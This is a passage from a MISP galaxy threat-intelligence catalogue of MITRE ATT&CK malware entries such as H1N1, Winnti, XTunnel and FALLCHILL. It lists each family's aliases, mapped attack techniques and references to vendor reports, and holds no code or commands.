The tag is: misp-galaxy:mitre-malware="H1N1 - S0132"

H1N1 - S0132 is also known as:

H1N1

H1N1 - S0132 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1045" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Disabling Security Tools - T1089" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Taint Shared Content - T1080" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Obfuscation - T1001" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Replication Through Removable Media - T1091" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Inhibit System Recovery - T1490" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1088" with estimative-language:likelihood-probability="almost-certain"

Table 3216. Table References
Links
https://attack.mitre.org/software/S0132
http://blogs.cisco.com/security/h1n1-technical-analysis-reveals-new-capabilities

ROCKBOOT - S0112

[ROCKBOOT](https://attack.mitre.org/software/S0112) is a [Bootkit](https://attack.mitre.org/techniques/T1067) that has been used by an unidentified, suspected China-based group. (Citation: FireEye Bootkits)

The tag is: misp-galaxy:mitre-malware="ROCKBOOT - S0112"

ROCKBOOT - S0112 is also known as:

ROCKBOOT

ROCKBOOT - S0112 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Bootkit - T1067" with estimative-language:likelihood-probability="almost-certain"

Table 3217. Table References
Links
https://attack.mitre.org/software/S0112
https://www.fireeye.com/blog/threat-research/2015/12/fin1-targets-boot-record.html

Linfo - S0211

[Linfo](https://attack.mitre.org/software/S0211) is a rootkit trojan used by [Elderwood](https://attack.mitre.org/groups/G0066) to open a backdoor on compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Linfo May 2012)

The tag is: misp-galaxy:mitre-malware="Linfo - S0211"

Linfo - S0211 is also known as:

Linfo

Linfo - S0211 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scheduled Transfer - T1029" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 3218. Table References
Links
https://attack.mitre.org/software/S0211
http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf
https://www.symantec.com/security_response/writeup.jsp?docid=2012-051605-2535-99

TINYTYPHON - S0131

[TINYTYPHON](https://attack.mitre.org/software/S0131) is a backdoor that has been used by the actors responsible for the MONSOON campaign. The majority of its code was reportedly taken from the MyDoom worm. (Citation: Forcepoint Monsoon)

The tag is: misp-galaxy:mitre-malware="TINYTYPHON - S0131"

TINYTYPHON - S0131 is also known as:

TINYTYPHON

TINYTYPHON - S0131 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Automated Exfiltration - T1020" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"

Table 3219. Table References
Links
https://attack.mitre.org/software/S0131
https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf

Prikormka - S0113

[Prikormka](https://attack.mitre.org/software/S0113) is a malware family used in a campaign known as Operation Groundbait. It has predominantly been observed in Ukraine and was used as early as 2008. (Citation: ESET Operation Groundbait)

The tag is: misp-galaxy:mitre-malware="Prikormka - S0113"

Prikormka - S0113 is also known as:

Prikormka

Prikormka - S0113 has relationships with:

similar: misp-galaxy:tool="Prikormka" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1503" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Compressed - T1002" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Encoding - T1132" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data from Removable Media - T1025" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Indicator Removal on Host - T1070" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Staged - T1074" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1038" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1063" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1085" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Encrypted - T1022" with estimative-language:likelihood-probability="almost-certain"

Table 3220. Table References
Links
https://attack.mitre.org/software/S0113
http://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf

YiSpecter - S0311

[YiSpecter](https://attack.mitre.org/software/S0311) iOS malware that affects both jailbroken and non-jailbroken iOS devices. It is also unique because it abuses private APIs in the iOS system to implement functionality. (Citation: PaloAlto-YiSpecter)

The tag is: misp-galaxy:mitre-malware="YiSpecter - S0311"

YiSpecter - S0311 is also known as:

YiSpecter

YiSpecter - S0311 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Other Means - T1476" with estimative-language:likelihood-probability="almost-certain"

Table 3221. Table References
Links
https://attack.mitre.org/software/S0311
https://researchcenter.paloaltonetworks.com/2015/10/yispecter-first-ios-malware-attacks-non-jailbroken-ios-devices-by-abusing-private-apis/

BOOTRASH - S0114

[BOOTRASH](https://attack.mitre.org/software/S0114) is a [Bootkit](https://attack.mitre.org/techniques/T1067) that targets Windows operating systems. It has been used by threat actors that target the financial sector. (Citation: MTrends 2016)

The tag is: misp-galaxy:mitre-malware="BOOTRASH - S0114"

BOOTRASH - S0114 is also known as:

BOOTRASH

BOOTRASH - S0114 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Bootkit - T1067" with estimative-language:likelihood-probability="almost-certain"

Table 3222. Table References
Links
https://attack.mitre.org/software/S0114
https://www.fireeye.com/content/dam/fireeye-www/regional/fr_FR/offers/pdfs/ig-mtrends-2016.pdf

Rotexy - S0411

[Rotexy](https://attack.mitre.org/software/S0411) is an Android banking malware that has evolved over several years. It was originally an SMS spyware Trojan first spotted in October 2014, and since then has evolved to contain more features, including ransomware functionality.(Citation: securelist rotexy 2018)

The tag is: misp-galaxy:mitre-malware="Rotexy - S0411"

Rotexy - S0411 is also known as:

Rotexy

Rotexy - S0411 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Alternate Network Mediums - T1438" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1437" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1422" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1406" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Capture SMS Messages - T1412" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Application Discovery - T1418" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Other Means - T1476" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1426" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Domain Generation Algorithms - T1520" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Device Lockout - T1446" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Input Prompt - T1411" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Suppress Application Icon - T1508" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Access Contact List - T1432" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1521" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Evade Analysis Environment - T1523" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1424" with estimative-language:likelihood-probability="almost-certain"

Table 3223. Table References
Links
https://attack.mitre.org/software/S0411
https://securelist.com/the-rotexy-mobile-trojan-banker-and-ransomware/88893/

Winnti - S0141

[Winnti](https://attack.mitre.org/software/S0141) is a Trojan that has been used by multiple groups to carry out intrusions in varied regions from at least 2010 to 2016. One of the groups using this malware is referred to by the same name, [Winnti Group](https://attack.mitre.org/groups/G0044); however, reporting indicates a second distinct group, [Axiom](https://attack.mitre.org/groups/G0001), also uses the malware. (Citation: Kaspersky Winnti April 2013) (Citation: Microsoft Winnti Jan 2017) (Citation: Novetta Winnti April 2015)

The tag is: misp-galaxy:mitre-malware="Winnti - S0141"

Winnti - S0141 is also known as:

Winnti

Winnti - S0141 has relationships with:

similar: misp-galaxy:tool="Winnti" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:malpedia="Winnti (Windows)" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1085" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"

Table 3224. Table References
Links
https://attack.mitre.org/software/S0141
https://securelist.com/winnti-more-than-just-a-game/37029/
https://blogs.technet.microsoft.com/mmpc/2017/01/25/detecting-threat-actors-in-recent-german-industrial-attacks-with-windows-defender-atp/
http://www.novetta.com/wp-content/uploads/2015/04/novetta_winntianalysis.pdf

HALFBAKED - S0151

[HALFBAKED](https://attack.mitre.org/software/S0151) is a malware family consisting of multiple components intended to establish persistence in victim networks. (Citation: FireEye FIN7 April 2017)

The tag is: misp-galaxy:mitre-malware="HALFBAKED - S0151"

HALFBAKED - S0151 is also known as:

HALFBAKED

HALFBAKED - S0151 has relationships with:

similar: misp-galaxy:tool="VB Flash" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"

Table 3225. Table References
Links
https://attack.mitre.org/software/S0151
https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html

Crimson - S0115

[Crimson](https://attack.mitre.org/software/S0115) is malware used as part of a campaign known as Operation Transparent Tribe that targeted Indian diplomatic and military victims. (Citation: Proofpoint Operation Transparent Tribe March 2016)

The tag is: misp-galaxy:mitre-malware="Crimson - S0115"

Crimson - S0115 is also known as:

Crimson
MSIL/Crimson

Crimson - S0115 has relationships with:

similar: misp-galaxy:rat="Crimson" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:tool="Crimson" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:malpedia="Crimson RAT" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1063" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Email Collection - T1114" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data from Removable Media - T1025" with estimative-language:likelihood-probability="almost-certain"

Table 3226. Table References
Links
https://attack.mitre.org/software/S0115
https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf

XAgentOSX - S0161

[XAgentOSX](https://attack.mitre.org/software/S0161) is a trojan that has been used by [APT28](https://attack.mitre.org/groups/G0007) on OS X and appears to be a port of their standard [CHOPSTICK](https://attack.mitre.org/software/S0023) or XAgent trojan. (Citation: XAgentOSX 2017)

The tag is: misp-galaxy:mitre-malware="XAgentOSX - S0161"

XAgentOSX - S0161 is also known as:

XAgentOSX
OSX.Sofacy

XAgentOSX - S0161 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1503" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Execution through API - T1106" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"

Table 3227. Table References
Links
https://attack.mitre.org/software/S0161
https://researchcenter.paloaltonetworks.com/2017/02/unit42-xagentosx-sofacys-xagent-macos-tool/
https://www.symantec.com/blogs/election-security/apt28-espionage-military-government

Felismus - S0171

[Felismus](https://attack.mitre.org/software/S0171) is a modular backdoor that has been used by [Sowbug](https://attack.mitre.org/groups/G0054). (Citation: Symantec Sowbug Nov 2017) (Citation: Forcepoint Felismus Mar 2017)

The tag is: misp-galaxy:mitre-malware="Felismus - S0171"

Felismus - S0171 is also known as:

Felismus

Felismus - S0171 has relationships with:

similar: misp-galaxy:malpedia="Felismus" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1063" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Custom Cryptographic Protocol - T1024" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"

Table 3228. Table References
Links
https://attack.mitre.org/software/S0171
https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments
https://blogs.forcepoint.com/security-labs/playing-cat-mouse-introducing-felismus-malware

XTunnel - S0117

[XTunnel](https://attack.mitre.org/software/S0117) a VPN-like network proxy tool that can relay traffic between a C2 server and a victim. It was first seen in May 2013 and reportedly used by [APT28](https://attack.mitre.org/groups/G0007) during the compromise of the Democratic National Committee. (Citation: Crowdstrike DNC June 2016) (Citation: Invincea XTunnel) (Citation: ESET Sednit Part 2)

The tag is: misp-galaxy:mitre-malware="XTunnel - S0117"

XTunnel - S0117 is also known as:

XTunnel
Trojan.Shunnael
X-Tunnel
XAPS

XTunnel - S0117 has relationships with:

similar: misp-galaxy:tool="X-Tunnel" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:malpedia="X-Tunnel" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Binary Padding - T1009" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Credentials in Files - T1081" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Network Service Scanning - T1046" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Connection Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"

Table 3229. Table References
Links
https://attack.mitre.org/software/S0117
https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/
https://www.invincea.com/2016/07/tunnel-of-gov-dnc-hack-and-the-russian-xtunnel/
http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf
https://www.symantec.com/blogs/election-security/apt28-espionage-military-government

FALLCHILL - S0181

[FALLCHILL](https://attack.mitre.org/software/S0181) is a RAT that has been used by [Lazarus Group](https://attack.mitre.org/groups/G0032) since at least 2016 to target the aerospace, telecommunications, and finance industries. It is usually dropped by other [Lazarus Group](https://attack.mitre.org/groups/G0032) malware or delivered when a victim unknowingly visits a compromised website. (Citation: US-CERT FALLCHILL Nov 2017)

The tag is: misp-galaxy:mitre-malware="FALLCHILL - S0181"

FALLCHILL - S0181 is also known as:

FALLCHILL

FALLCHILL - S0181 has relationships with:

similar: misp-galaxy:rat="FALLCHILL" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:malpedia="Volgmer" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:tool="Volgmer" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Custom Cryptographic Protocol - T1024" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Timestomp - T1099" with estimative-language:likelihood-probability="almost-certain"

Table 3230. Table References
Links
https://attack.mitre.org/software/S0181
https://www.us-cert.gov/ncas/alerts/TA17-318A

Nidiran - S0118

[Nidiran](https://attack.mitre.org/software/S0118) is a custom backdoor developed and used by [Suckfly](https://attack.mitre.org/groups/G0039). It has been delivered via strategic web compromise. (Citation: Symantec Suckfly March 2016)

The tag is: misp-galaxy:mitre-malware="Nidiran - S0118"

Nidiran - S0118 is also known as:

Nidiran
Backdoor.Nidiran

Nidiran - S0118 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"

Table 3231. Table References
Links
https://attack.mitre.org/software/S0118
http://www.symantec.com/connect/blogs/suckfly-revealing-secret-life-your-code-signing-certificates

CORALDECK - S0212

[CORALDECK](https://attack.mitre.org/software/S0212) is an exfiltration tool used by [APT37](https://attack.mitre.org/groups/G0067). (Citation: FireEye APT37 Feb 2018)

The tag is: misp-galaxy:mitre-malware="CORALDECK - S0212"

CORALDECK - S0212 is also known as:

CORALDECK

CORALDECK - S0212 has relationships with:

similar: misp-galaxy:tool="CORALDECK" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Data Encrypted - T1022" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Compressed - T1002" with estimative-language:likelihood-probability="almost-certain"

Table 3232. Table References
Links
https://attack.mitre.org/software/S0212
https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf

Umbreon - S0221

A Linux rootkit that provides backdoor access and hides from defenders.

The tag is: misp-galaxy:mitre-malware="Umbreon - S0221"

Umbreon - S0221 is also known as:

Umbreon

Umbreon - S0221 has relationships with:

similar: misp-galaxy:tool="Umbreon" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:malpedia="Umbreon" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Port Knocking - T1205" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Rootkit - T1014" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"

Table 3233. Table References
Links
https://attack.mitre.org/software/S0221
https://blog.trendmicro.com/trendlabs-security-intelligence/pokemon-themed-umbreon-linux-rootkit-hits-x86-arm-systems/?_ga=2.180041126.367598458.1505420282-1759340220.1502477046

DOGCALL - S0213

[DOGCALL](https://attack.mitre.org/software/S0213) is a backdoor used by [APT37](https://attack.mitre.org/groups/G0067) that has been used to target South Korean government and military organizations in 2017. It is typically dropped using a Hangul Word Processor (HWP) exploit. (Citation: FireEye APT37 Feb 2018)

The tag is: misp-galaxy:mitre-malware="DOGCALL - S0213"

DOGCALL - S0213 is also known as:

DOGCALL

DOGCALL - S0213 has relationships with:

similar: misp-galaxy:tool="DOGCALL" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Audio Capture - T1123" with estimative-language:likelihood-probability="almost-certain"

Table 3234. Table References
Links
https://attack.mitre.org/software/S0213
https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf

HummingWhale - S0321

[HummingWhale](https://attack.mitre.org/software/S0321) is an Android malware family that performs ad fraud. (Citation: ArsTechnica-HummingWhale)

The tag is: misp-galaxy:mitre-malware="HummingWhale - S0321"

HummingWhale - S0321 is also known as:

HummingWhale

HummingWhale - S0321 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Generate Fraudulent Advertising Revenue - T1472" with estimative-language:likelihood-probability="almost-certain"

Table 3235. Table References
Links
https://attack.mitre.org/software/S0321
http://arstechnica.com/security/2017/01/virulent-android-malware-returns-gets-2-million-downloads-on-google-play/

WireLurker - S0312

[WireLurker](https://attack.mitre.org/software/S0312) is a family of macOS malware that targets iOS devices connected over USB. (Citation: PaloAlto-WireLurker)

The tag is: misp-galaxy:mitre-malware="WireLurker - S0312"

WireLurker - S0312 is also known as:

WireLurker

WireLurker - S0312 has relationships with:

similar: misp-galaxy:malpedia="WireLurker (OS X)" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Exploit via Charging Station or PC - T1458" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1406" with estimative-language:likelihood-probability="almost-certain"

Table 3236. Table References
Links
https://attack.mitre.org/software/S0312
https://researchcenter.paloaltonetworks.com/2014/11/wirelurker-new-era-os-x-ios-malware/

RATANKBA - S0241

